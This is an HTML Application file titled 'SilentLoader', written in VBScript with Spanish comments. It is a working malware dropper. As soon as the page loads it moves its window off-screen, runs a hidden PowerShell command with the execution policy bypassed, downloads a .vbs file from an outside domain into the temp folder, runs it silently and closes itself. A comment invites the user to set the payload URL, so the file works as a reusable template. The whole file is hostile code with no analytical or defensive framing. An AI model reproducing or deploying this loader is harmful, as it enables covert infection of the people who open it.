<html>
<head>
<HTA:APPLICATION
    APPLICATIONNAME="SilentLoader"
    BORDER="none"
    CAPTION="no"
    SHOWINTASKBAR="no"
    SINGLEINSTANCE="yes"
    SYSMENU="no"
    WINDOWSTATE="minimize"
    SCROLL="no"
/>

<script language="VBScript">
Option Explicit

' CONFIGURA AQUÍ LA URL DIRECTA DEL ARCHIVO .VBS
Const URL_SCRIPT = "https://qkxvntar.xyz/Imagen.vbs"

Sub Window_OnLoad
    ' Mueve la ventana fuera del área visible del monitor
    window.moveTo -2000, -2000
    window.resizeTo 0, 0
    
    AutodescargarYEjecutar
End Sub

Sub AutodescargarYEjecutar()
    Dim fso, shell, rutaDestino, cmdPowerShell, codigoSalida

    On Error Resume Next
    Set fso = CreateObject("Scripting.FileSystemObject")
    rutaDestino = fso.BuildPath(fso.GetSpecialFolder(2), "archivo_auto.vbs")
    Set shell = CreateObject("WScript.Shell")

    ' Comando de descarga oculta mediante PowerShell
    cmdPowerShell = "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command " & _
                    """[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; " & _
                    "Invoke-WebRequest -Uri '" & URL_SCRIPT & "' -OutFile '" & rutaDestino & "' -UseBasicParsing"""

    ' Ejecuta la descarga en modo oculto (0) y espera a que termine (True)
    codigoSalida = shell.Run(cmdPowerShell, 0, True)

    If codigoSalida = 0 And fso.FileExists(rutaDestino) Then
        ' Ejecuta el VBS descargado en modo oculto (0) sin esperar
        shell.Run """" & rutaDestino & """", 0, False
    End If

    ' Cierra el proceso HTA inmediatamente
    window.close
End Sub
</script>
</head>
<body></body>
</html>